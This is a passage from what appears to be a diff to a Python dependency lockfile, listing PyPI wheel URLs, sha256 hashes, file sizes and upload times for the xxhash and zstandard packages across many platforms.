"https://files.pythonhosted.org/packages/ee/15/741b947ae3c768e82018c46846f8616f6aa9b5042649f318a1a6897defe3/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:b8414a66a7524596d841cad5dc1adab6ce76848db5ab2b83db911fbdab1417af", size = 275455, upload-time = "2026-06-27T08:14:39.841Z" }, + { url = "https://files.pythonhosted.org/packages/c6/b4/a9db84c9458fc8f53eaf0051377d1e9eecd9f330fb1225640027417a309d/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:0dbaa73df10414ea1e41b98691a9d8241d4c47ad8d02c726587a3cda05278e53", size = 231209, upload-time = "2026-06-27T08:14:41.543Z" }, + { url = "https://files.pythonhosted.org/packages/20/92/60a868cd34851746d0b0d95dced0f42867c7c00606f6e5dba85b70b232ce/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:43fc9aaba10ab4267c90793601f60d35c3c9caa1544eceb483618a71ad9ce7da", size = 250416, upload-time = "2026-06-27T08:14:43.193Z" }, + { url = "https://files.pythonhosted.org/packages/7a/6a/168ca46a4679c32aae9246caa1fddf35981d6304487e45e992b3d4530324/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:ec5eb3d28fbb9802c6d2526f772133a06c91d6f03756fcc67c834b642ffdd51d", size = 309764, upload-time = "2026-06-27T08:14:44.79Z" }, + { url = "https://files.pythonhosted.org/packages/18/0b/13646b348c07679c818791ab2d35415db5cb20f3bc77daaa255909a401b4/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:2b77c301b644cd9b4d0749a3291081ec2048a6bef7fe0487c993bbba3efb9ce0", size = 448650, upload-time = "2026-06-27T08:14:46.562Z" }, + { url = "https://files.pythonhosted.org/packages/59/9a/3d244b2acf6bbd86a363817ee09084b4684e8e11840663e19869e9e0d952/xxhash-3.8.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:d7ece11a132325353890a144c30119073617a1299c593ca29b96c315b07e1edd", size = 223572, upload-time = "2026-06-27T08:14:48.294Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c7/143410d026a6e0d86dc69037ec2a3b8db810a54e7f443b340ac17612be2e/xxhash-3.8.0-cp313-cp313t-win32.whl", hash = "sha256:b21db84df7b9d54d9e4195a964243c1b32d745c6fbc0cfcfffee1d4bd297196a", size = 32301, upload-time = "2026-06-27T08:14:49.687Z" }, + { url = "https://files.pythonhosted.org/packages/6c/db/2240b0638161637b2f310231748a7a6a06c79fb43a3adb34c96f359762bf/xxhash-3.8.0-cp313-cp313t-win_amd64.whl", hash = "sha256:0643b7d9f598f6da6f1f6b899f4358250d0fb853242e2d712cbde27bf5a99d29", size = 33221, upload-time = "2026-06-27T08:14:51.404Z" }, + { url = "https://files.pythonhosted.org/packages/e0/d8/52038e4fa5baf4f00654a225516168d02908edfec7ca104fbefc58af394f/xxhash-3.8.0-cp313-cp313t-win_arm64.whl", hash = "sha256:4bbacf2e938526969f8ab3334d4ac3da14ea059e1dfd1339a92f9091467e750f", size = 29294, upload-time = "2026-06-27T08:14:52.778Z" }, + { url = "https://files.pythonhosted.org/packages/e5/ef/a09907aa28bdcdf6810d5c26656b154c60c0f06bb8db8442a1192d9c227a/xxhash-3.8.0-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:557e2a7cc0b6a634cf9c8e5c975d96b7da796fdeb1824569d760cf0f25b6f33f", size = 38365, upload-time = "2026-06-27T08:14:54.166Z" }, + { url = "https://files.pythonhosted.org/packages/d2/4d/d991ff77bc489c2231025e64e570502156d573c7bff69c917589cc307089/xxhash-3.8.0-cp314-cp314-android_24_x86_64.whl", hash = "sha256:dad744d1613cbfddb844dad93adbffbd51c3e9f53ceea9568f7c3b94bedc19a4", size = 36477, upload-time = "2026-06-27T08:14:55.427Z" }, + { url = "https://files.pythonhosted.org/packages/cc/0e/553eab001f1e274da73da074968cdc8be8cacfb318937ab9871b8e1909cb/xxhash-3.8.0-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:953f29b22c04b123cf3cd2e08bccde3a73184aeda5a1038e0054cb3355644120", size = 31116, upload-time = "2026-06-27T08:14:56.897Z" }, + { url = "https://files.pythonhosted.org/packages/55/d5/d0f4dbe7b4d9ce0125f16e45ec0be5e04f6a172edb4e2fa551c4f2eb5d7a/xxhash-3.8.0-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:aa699e0253ceffecf41cae858d0a11f2439d6874a0890b556387bffe11dc1c08", size = 32112, upload-time = "2026-06-27T08:14:58.126Z" }, + { url = "https://files.pythonhosted.org/packages/2e/2f/b332c7bede6a676343f2c9c8dea233c8c82753eaeda6f7a2c321d8c58ca3/xxhash-3.8.0-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:e232c82466babc13e956d53aa84d0149660ed6886bc195248bb4d03bf2eca301", size = 34618, upload-time = "2026-06-27T08:14:59.458Z" }, + { url = "https://files.pythonhosted.org/packages/b3/5b/2bf3c9e61c7cf8f53bce937af45e22b72bb1f224d5afb20352beba0d628d/xxhash-3.8.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:7f75fd1c6a5028f345cd4a8c52f4774d2e5b7809fa58111c60a5502b528914a4", size = 34739, upload-time = "2026-06-27T08:15:00.863Z" }, + { url = "https://files.pythonhosted.org/packages/64/b6/e88521f5736c181b89bfb7ab756f0ca658a8a1ecece7277b75e167717614/xxhash-3.8.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:b49d7e09b211a1ad658dbe2dbf6561eb92f2e6926bd1101e2d023178371f2d6f", size = 32332, upload-time = "2026-06-27T08:15:02.383Z" }, + { url = "https://files.pythonhosted.org/packages/ed/a2/fba440739fa5f86d2c28738c202e88d3dd063290c8bbb20e183c5334456a/xxhash-3.8.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:ceb702bc8e56b7f1f1413d42aa294045b9a0e4c9888e07edc5cd153e8c4c948f", size = 220479, upload-time = "2026-06-27T08:15:03.785Z" }, + { url = "https://files.pythonhosted.org/packages/2c/1c/4a1639efec16416695d6c7bc6b224d3f607e0b8cbe2409fa81081a849d1c/xxhash-3.8.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b4f3c96e06bdb122e8cc84f5c7088579f3102b828efd62e9dc964a9d17c7b89e", size = 241409, upload-time = "2026-06-27T08:15:05.439Z" }, + { url = "https://files.pythonhosted.org/packages/92/d1/8ce471f8d6752384f972fd5f6363f2e8d8b867a89fbd724c6dbd91d2bb98/xxhash-3.8.0-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:415a8d06ac9bea36b1e06b603a347e0f62401042a97d7bfccec8ae2da12ad784", size = 264433, upload-time = "2026-06-27T08:15:07.027Z" }, + { url = "https://files.pythonhosted.org/packages/95/77/400a281683fd39c54e2ac497fa67bdf886baaadb8c0ba58f7e1ea1d7692e/xxhash-3.8.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7f5ccdd2deb5dce31201cc0eec94388cce97e681429073db50903fab0a0a8a0d", size = 242835, upload-time = "2026-06-27T08:15:08.703Z" }, + { url = "https://files.pythonhosted.org/packages/aa/a6/edda651cfa0ba8e921791e93468fae655b63894d89730fcbfe46704f0d0a/xxhash-3.8.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1a6cf81bc699d3a5ebfcf2fdb2a7bd2e096708d7de193f6f322944a02ba00953", size = 473800, upload-time = "2026-06-27T08:15:10.503Z" }, + { url = "https://files.pythonhosted.org/packages/dd/da/50f764ec6a93d3961fce294567e41bfca0e66d168deed354a3dc90ebeba6/xxhash-3.8.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e4d12a04d7ffc0359f0eadc4535a53cab113044c8d2f262c7e9a56950a5ed50e", size = 220677, upload-time = "2026-06-27T08:15:12.622Z" }, + { url = "https://files.pythonhosted.org/packages/bb/49/9fe4ed5aac6f38629cc83b34f84748b83ad8295a578ec6a49d8bf896cafb/xxhash-3.8.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d209373fcb66138c652cf843385ee60866e50158a7869bbbf8b322d9a822b765", size = 310385, upload-time = "2026-06-27T08:15:14.384Z" }, + { url = "https://files.pythonhosted.org/packages/83/f5/1147e03c0553ed22bbae9ce47503c37ee0c5f95592aae10f339c25f61de9/xxhash-3.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b88a3fe28277811e599efa6e1c96abce8a77d60dd79c94da7a9b5c377c172b7b", size = 238330, upload-time = "2026-06-27T08:15:16.201Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d8/92daf66c1966c84da5c97a06ced1480208d3a3bd465cb0630565ec00d1b9/xxhash-3.8.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5d5a888a5ef997cb35f1aad346eb861cd87ecfe24f5e25d5aa4c9fd1bd3950c2", size = 268667, upload-time = "2026-06-27T08:15:18.064Z" }, + { url = "https://files.pythonhosted.org/packages/bd/c0/080c1a92972667e183c04b03f33c877f8ec61cfa3570e61731077286648d/xxhash-3.8.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:de2836e0329c01555957a603dcd113c337c577081153d691c12a51c5be3282b0", size = 224934, upload-time = "2026-06-27T08:15:19.972Z" }, + { url = "https://files.pythonhosted.org/packages/d9/d5/cbc4e5b2bee10c94cba05b5bb2b8033e7ef44ae742583fdafcd9188e33ed/xxhash-3.8.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:4bc74eedb0dd5827b3be748bacf9fdb50004037a3e16c7ddb5defae2682cef71", size = 240870, upload-time = "2026-06-27T08:15:22.04Z" }, + { url = "https://files.pythonhosted.org/packages/76/f7/09679b00e192b741b65c230440c4f7e6df3251a9ad427a518ddf262ec71a/xxhash-3.8.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:c571b03d59e339b010dc84f15a6f1cff80212f3a3116c2a71e2303c95065b1f6", size = 300683, upload-time = "2026-06-27T08:15:23.647Z" }, + { url = "https://files.pythonhosted.org/packages/5f/1b/f43ec36e8c6a20c77be0bcca23f0b133ed8a0312681500d1676eebd71924/xxhash-3.8.0-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:87626acdd6e2d762c588a4ffe94258c5ef34fb6049a4a3b25019bdb7f9267a9b", size = 443407, upload-time = "2026-06-27T08:15:25.504Z" }, + { url = "https://files.pythonhosted.org/packages/45/2e/a3e3a779c5e4789daf975e05cc1c7f11bae724a03855120029d4592c8e63/xxhash-3.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:076d8a4fb290af952826922aa42a46bfc64caa31662ce4e2925a445d0e6ce57f", size = 217559, upload-time = "2026-06-27T08:15:27.234Z" }, + { url = "https://files.pythonhosted.org/packages/44/da/1c1e078ac290afff304a541a2a60965beb369ad65b4f30ec93ea1e0b7210/xxhash-3.8.0-cp314-cp314-win32.whl", hash = "sha256:52f8c7c9833d947e60df830671f6eca810d7c667051243985a561c79f1a3d545", size = 32602, upload-time = "2026-06-27T08:15:28.809Z" }, + { url = "https://files.pythonhosted.org/packages/d7/7a/d455cb83d5e3c94046234294fb5dbbe5da600d1bbdf76b9527756920cce9/xxhash-3.8.0-cp314-cp314-win_amd64.whl", hash = "sha256:4fbfcb7dd307e23189a71050f6e27746926590330f37d5fd2ffcb8ea78de1f42", size = 33393, upload-time = "2026-06-27T08:15:30.166Z" }, + { url = "https://files.pythonhosted.org/packages/89/8f/1b14471f617bc96edbb9566099a162d918a981381c398114726cc600b76c/xxhash-3.8.0-cp314-cp314-win_arm64.whl", hash = "sha256:ecef1e65b4715c7326002073763fe94cc44c756a0698508abb915ab3d6be6e3d", size = 30007, upload-time = "2026-06-27T08:15:31.634Z" }, + { url = "https://files.pythonhosted.org/packages/11/8d/51ad2f9f784121c8057ef1ba36362f58d4595cbcad16322941f5b73eb53d/xxhash-3.8.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:02ed856a765cb6e006168595d9455ac8c3c4d60cc04cd47a158a1ac677d68f0f", size = 34957, upload-time = "2026-06-27T08:15:33.292Z" }, + { url = "https://files.pythonhosted.org/packages/1b/14/175c573ae4fac48bf21a82e5b9ceec75d64c520c51ca08de3105de539438/xxhash-3.8.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:eec30461a7b457611098ba7ab09363e36c8b2645b4687fb6f3d405bb646e3410", size = 32635, upload-time = "2026-06-27T08:15:34.766Z" }, + { url = "https://files.pythonhosted.org/packages/96/08/f83efabd350a50c31c851b88891e318a6f07bdbf40a43d0f7bb6cedade7f/xxhash-3.8.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b471744912d1ce5dd6d3975b7525e77518359ebf3aa1bd7d501e199f5ae488ea", size = 225969, upload-time = "2026-06-27T08:15:36.35Z" }, + { url = "https://files.pythonhosted.org/packages/7c/78/2b6d12da9cf572c84d93b88ecbf9bf6539a7c5219bde128b214396b97c8b/xxhash-3.8.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3748d71202bf3f279e77cb8b273b6d0f29d1bcaefb6ce6cb03b95f358863ba37", size = 249851, upload-time = "2026-06-27T08:15:38.087Z" }, + { url = "https://files.pythonhosted.org/packages/d0/0a/755eeb1882634983b24e6375a95ed233228dc48f0ef12655388bf3c7eeaf/xxhash-3.8.0-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3b3bf59ea94b2a23b0f992769804ab9401d5cdcd9df0062fe2cd78a491ae8851", size = 274842, upload-time = "2026-06-27T08:15:39.808Z" }, + { url = "https://files.pythonhosted.org/packages/77/f2/09b1231cad17c314e51664c4a004c919108ec59aba10f9a28fa061e7b8be/xxhash-3.8.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:40f061aa5379eba249e9367b179515571e632be6d1b6f55ac139e6fe3d08463c", size = 252218, upload-time = "2026-06-27T08:15:42.105Z" }, + { url = "https://files.pythonhosted.org/packages/b2/24/de756d55547953494eb6775aea92e258035647b3ecb8547618cd549001e1/xxhash-3.8.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:680d70896a61fc920cc717a0a8fe8a9fb5858c563184666e31874caa54a16d9e", size = 482135, upload-time = "2026-06-27T08:15:44.476Z" }, + { url = "https://files.pythonhosted.org/packages/e5/63/b8147633e32f98ef2b4bb0dfca82f0f63e2b02ff179f20664af64c4216a7/xxhash-3.8.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:14973fbdee136588e57447401b521f466a42faca41eecdf35123c73103512ca8", size = 226776, upload-time = "2026-06-27T08:15:46.597Z" }, + { url = "https://files.pythonhosted.org/packages/29/37/ba051d8f0380d3cf845b23ba058a17d32025846463eb6bf885887fc8effe/xxhash-3.8.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:96c6bca2486cdc58b125966817a92a6abe6ef1fab86b2f8798a7e93488782540", size = 319738, upload-time = "2026-06-27T08:15:48.394Z" }, + { url = "https://files.pythonhosted.org/packages/4f/6f/36e0a27dd27ffa3f7b521650cbcd52a00fb86b71343ffadb642374e8263c/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0b1109ae238e932d8482f9cb568b56a405cc73bc7a36b837844087f1298dd218", size = 246136, upload-time = "2026-06-27T08:15:50.981Z" }, + { url = "https://files.pythonhosted.org/packages/fe/73/2663dbf4c09386a9dcc8a94d7a14b4609ed4bad8180ced5b848e60a9b660/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:1da5db0863400eade7c5a31969754d1392189f26b4105f6631da2c6c7ea3bccc", size = 275568, upload-time = "2026-06-27T08:15:52.735Z" }, + { url = "https://files.pythonhosted.org/packages/d6/58/f3ce1bc3bb3971191f6521273ddae98d3c610bcefbbed5327c3b3627c12f/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:c61b5a0f21ace5e886f177cce43826d85a7c84e35a9e17cb6d1b4ac0b7a7d833", size = 231314, upload-time = "2026-06-27T08:15:54.73Z" }, + { url = "https://files.pythonhosted.org/packages/4d/51/835706a36cdc00e5b638fba9b22218b3d40d23a7677c923feca8a3f55b98/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:1db4f27835a450c7e729bc9330c6e702113711cea1f873d646e3a31fe96a9732", size = 250521, upload-time = "2026-06-27T08:15:56.853Z" }, + { url = "https://files.pythonhosted.org/packages/c1/47/b0b62caa3caee58ab9de8969f66aef1c3729886f3ff60e173fda3f2762be/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:4788a470f946df34383abc6cd345088c13f897a5ee580c4cdd12b1d32ad218ef", size = 309926, upload-time = "2026-06-27T08:15:58.704Z" }, + { url = "https://files.pythonhosted.org/packages/69/c4/60e6d18a0e131c7af622374af9deede15d3c47d8e5e7221933481b57b319/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:3b6dfa83096cb1e54d082acebaf67f0c42667c56dc48ba536a76cac08d46391e", size = 448812, upload-time = "2026-06-27T08:16:00.619Z" }, + { url = "https://files.pythonhosted.org/packages/12/9f/c9627daa052be39a932d0e17c6bf6a9041d2cde3afacbded9196acf70261/xxhash-3.8.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:57ec0ba5299a9a7df376063c139f5826ff0c89b438703939af3d252c31ca96a4", size = 223639, upload-time = "2026-06-27T08:16:02.784Z" }, + { url = "https://files.pythonhosted.org/packages/a9/38/92916e008a84c1f1a9aef82e4363cdc478a722ff69e59c6afbf93d3d1fda/xxhash-3.8.0-cp314-cp314t-win32.whl", hash = "sha256:d9a61f23b999baeb84102aba767b1b3e94958eab94e6c11b08927e7dc4200795", size = 33078, upload-time = "2026-06-27T08:16:04.639Z" }, + { url = "https://files.pythonhosted.org/packages/31/7c/e413bc75121d9628bf023b2ed251411ca3a447cf00cd9aa3438ab17f6c67/xxhash-3.8.0-cp314-cp314t-win_amd64.whl", hash = "sha256:61069b260fff84116235bb93845f319284dc6b42527c215af59264f4c2ee3468", size = 33953, upload-time = "2026-06-27T08:16:06.347Z" }, + { url = "https://files.pythonhosted.org/packages/f6/eb/21a96e218375bd8b6ecd6d07cf60c8ff1a046e93cdedc3cf7bc3309edf7b/xxhash-3.8.0-cp314-cp314t-win_arm64.whl", hash = "sha256:73cecd431b4f572d38fcf1a7fe85b30eb987778ef9e7a70bc9ffcf2d64810e6f", size = 30164, upload-time = "2026-06-27T08:16:08.009Z" }, + { url = "https://files.pythonhosted.org/packages/96/84/9bb3cc67475ac7678476b30eed2f1140431f06386d637534194037c0624f/xxhash-3.8.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:ba14843f20df2dce6ff6684411a56ae53da44336546c55f8947e70aebb8cdd21", size = 32604, upload-time = "2026-06-27T08:17:19.291Z" }, + { url = "https://files.pythonhosted.org/packages/42/6d/e98f9dd62c89e8895e4f3b525b6dbc3efcf27e2b99800e51388c59eb96dd/xxhash-3.8.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ec6666a5311beae3f6cb5f2fd28c2b77e2df32702c8206f45c786a6ef81b3751", size = 29787, upload-time = "2026-06-27T08:17:21.001Z" }, + { url = "https://files.pythonhosted.org/packages/db/51/e7844a65c62d6d78747e4d149508d65a3df6fb65d72322c2526789e9f600/xxhash-3.8.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1ec9afdd53ac5f4fd1d8918807ba6c35ba62269086af794884b9f168a73331ea", size = 43155, upload-time = "2026-06-27T08:17:22.721Z" }, + { url = "https://files.pythonhosted.org/packages/3f/5d/652c47481053fabc33ea229540bd330a45f68d7a5277f45e6cf879c29965/xxhash-3.8.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:68594a54be2eb5992d9b0d0a0ec7c32a7a8e930f06d6cb951d69708055680994", size = 38137, upload-time = "2026-06-27T08:17:24.295Z" }, + { url = "https://files.pythonhosted.org/packages/7d/a5/7b6e961a03ee713cbdbaa3d2cf3ddd33453a4d4112bbde58f2f607ab64d2/xxhash-3.8.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:591d5eb256abf59438800ace2730ac33f77bc6ab8c3623fab1ea24d9d8b28f3a", size = 34376, upload-time = "2026-06-27T08:17:25.688Z" }, + { url = "https://files.pythonhosted.org/packages/da/aa/95d36393bf732df516a2dcf4fd7e9e851bc033a5970e30774b972137f4da/xxhash-3.8.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:7f4eecf800275e62b6bcb41e65f361f2277cc886c2bff4e299959d701e5fcf93", size = 32798, upload-time = "2026-06-27T08:17:27.188Z" }, +] + +[[package]] +name = "zstandard" +version = "0.25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/fd/aa/3e0508d5a5dd96529cdc5a97011299056e14c6505b678fd58938792794b1/zstandard-0.25.0.tar.gz", hash = "sha256:7713e1179d162cf5c7906da876ec2ccb9c3a9dcbdffef0cc7f70c3667a205f0b", size = 711513, upload-time = "2025-09-14T22:15:54.002Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/7a/28efd1d371f1acd037ac64ed1c5e2b41514a6cc937dd6ab6a13ab9f0702f/zstandard-0.25.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e59fdc271772f6686e01e1b3b74537259800f57e24280be3f29c8a0deb1904dd", size = 795256, upload-time = "2025-09-14T22:15:56.415Z" }, + { url = "https://files.pythonhosted.org/packages/96/34/ef34ef77f1ee38fc8e4f9775217a613b452916e633c4f1d98f31db52c4a5/zstandard-0.25.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:4d441506e9b372386a5271c64125f72d5df6d2a8e8a2a45a0ae09b03cb781ef7", size = 640565, upload-time = "2025-09-14T22:15:58.177Z" }, + { url = "https://files.pythonhosted.org/packages/9d/1b/4fdb2c12eb58f31f28c4d28e8dc36611dd7205df8452e63f52fb6261d13e/zstandard-0.25.0-cp310-cp310-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:ab85470ab54c2cb96e176f40342d9ed41e58ca5733be6a893b730e7af9c40550", size = 5345306, upload-time = "2025-09-14T22:16:00.165Z" }, + { url = "https://files.pythonhosted.org/packages/73/28/a44bdece01bca027b079f0e00be3b6bd89a4df180071da59a3dd7381665b/zstandard-0.25.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e05ab82ea7753354bb054b92e2f288afb750e6b439ff6ca78af52939ebbc476d", size = 5055561, upload-time = "2025-09-14T22:16:02.22Z" }, + { url = "https://files.pythonhosted.org/packages/e9/74/68341185a4f32b274e0fc3410d5ad0750497e1acc20bd0f5b5f64ce17785/zstandard-0.25.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:78228d8a6a1c177a96b94f7e2e8d012c55f9c760761980da16ae7546a15a8e9b", size = 5402214, upload-time = "2025-09-14T22:16:04.109Z" }, + { url = "https://files.pythonhosted.org/packages/8b/67/f92e64e748fd6aaffe01e2b75a083c0c4fd27abe1c8747fee4555fcee7dd/zstandard-0.25.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:2b6bd67528ee8b5c5f10255735abc21aa106931f0dbaf297c7be0c886353c3d0", size = 5449703, upload-time = "2025-09-14T22:16:06.312Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e5/6d36f92a197c3c17729a2125e29c169f460538a7d939a27eaaa6dcfcba8e/zstandard-0.25.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4b6d83057e713ff235a12e73916b6d356e3084fd3d14ced499d84240f3eecee0", size = 5556583, upload-time = "2025-09-14T22:16:08.457Z" }, + { url = "https://files.pythonhosted.org/packages/d7/83/41939e60d8d7ebfe2b747be022d0806953799140a702b90ffe214d557638/zstandard-0.25.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9174f4ed06f790a6869b41cba05b43eeb9a35f8993c4422ab853b705e8112bbd", size = 5045332, upload-time = "2025-09-14T22:16:10.444Z" }, + { url = "https://files.pythonhosted.org/packages/b3/87/d3ee185e3d1aa0133399893697ae91f221fda79deb61adbe998a7235c43f/zstandard-0.25.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:25f8f3cd45087d089aef5ba3848cd9efe3ad41163d3400862fb42f81a3a46701", size = 5572283, upload-time = "2025-09-14T22:16:12.128Z" }, + { url = "https://files.pythonhosted.org/packages/0a/1d/58635ae6104df96671076ac7d4ae7816838ce7debd94aecf83e30b7121b0/zstandard-0.25.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3756b3e9da9b83da1796f8809dd57cb024f838b9eeafde28f3cb472012797ac1", size = 4959754, upload-time = "2025-09-14T22:16:14.225Z" }, + { url = "https://files.pythonhosted.org/packages/75/d6/57e9cb0a9983e9a229dd8fd2e6e96593ef2aa82a3907188436f22b111ccd/zstandard-0.25.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:81dad8d145d8fd981b2962b686b2241d3a1ea07733e76a2f15435dfb7fb60150", size = 5266477, upload-time = "2025-09-14T22:16:16.343Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/ee891e5edf33a6ebce0a028726f0bbd8567effe20fe3d5808c42323e8542/zstandard-0.25.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:a5a419712cf88862a45a23def0ae063686db3d324cec7edbe40509d1a79a0aab", size = 5440914, upload-time = "2025-09-14T22:16:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/58/08/a8522c28c08031a9521f27abc6f78dbdee7312a7463dd2cfc658b813323b/zstandard-0.25.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e7360eae90809efd19b886e59a09dad07da4ca9ba096752e61a2e03c8aca188e", size = 5819847, upload-time = "2025-09-14T22:16:20.559Z" }, + { url = "https://files.pythonhosted.org/packages/6f/11/4c91411805c3f7b6f31c60e78ce347ca48f6f16d552fc659af6ec3b73202/zstandard-0.25.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:75ffc32a569fb049499e63ce68c743155477610532da1eb38e7f24bf7cd29e74", size = 5363131, upload-time = "2025-09-14T22:16:22.206Z" }, + { url = "https://files.pythonhosted.org/packages/ef/d6/8c4bd38a3b24c4c7676a7a3d8de85d6ee7a983602a734b9f9cdefb04a5d6/zstandard-0.25.0-cp310-cp310-win32.whl", hash = "sha256:106281ae350e494f4ac8a80470e66d1fe27e497052c8d9c3b95dc4cf1ade81aa", size = 436469, upload-time = "2025-09-14T22:16:25.002Z" }, + { url = "https://files.pythonhosted.org/packages/93/90/96d50ad417a8ace5f841b3228e93d1bb13e6ad356737f42e2dde30d8bd68/zstandard-0.25.0-cp310-cp310-win_amd64.whl", hash = "sha256:ea9d54cc3d8064260114a0bbf3479fc4a98b21dffc89b3459edd506b69262f6e", size = 506100, upload-time = "2025-09-14T22:16:23.569Z" }, + { url = "https://files.pythonhosted.org/packages/2a/83/c3ca27c363d104980f1c9cee1101cc8ba724ac8c28a033ede6aab89585b1/zstandard-0.25.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:933b65d7680ea337180733cf9e87293cc5500cc0eb3fc8769f4d3c88d724ec5c", size = 795254, upload-time = "2025-09-14T22:16:26.137Z" }, + { url = "https://files.pythonhosted.org/packages/ac/4d/e66465c5411a7cf4866aeadc7d108081d8ceba9bc7abe6b14aa21c671ec3/zstandard-0.25.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a3f79487c687b1fc69f19e487cd949bf3aae653d181dfb5fde3bf6d18894706f", size = 640559, upload-time = "2025-09-14T22:16:27.973Z" }, + { url = "https://files.pythonhosted.org/packages/12/56/354fe655905f290d3b147b33fe946b0f27e791e4b50a5f004c802cb3eb7b/zstandard-0.25.0-cp311-cp311-manylinux2010_i686.manylinux2014_i686.manylinux_2_12_i686.manylinux_2_17_i686.whl", hash = "sha256:0bbc9a0c65ce0eea3c34a691e3c4b6889f5f3909ba4822ab385fab9057099431", size = 5348020, upload-time = "2025-09-14T22:16:29.523Z" }, + { url = "https://files.pythonhosted.org/packages/3b/13/2b7ed68bd85e69a2069bcc72141d378f22cae5a0f3b353a2c8f50ef30c1b/zstandard-0.25.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = 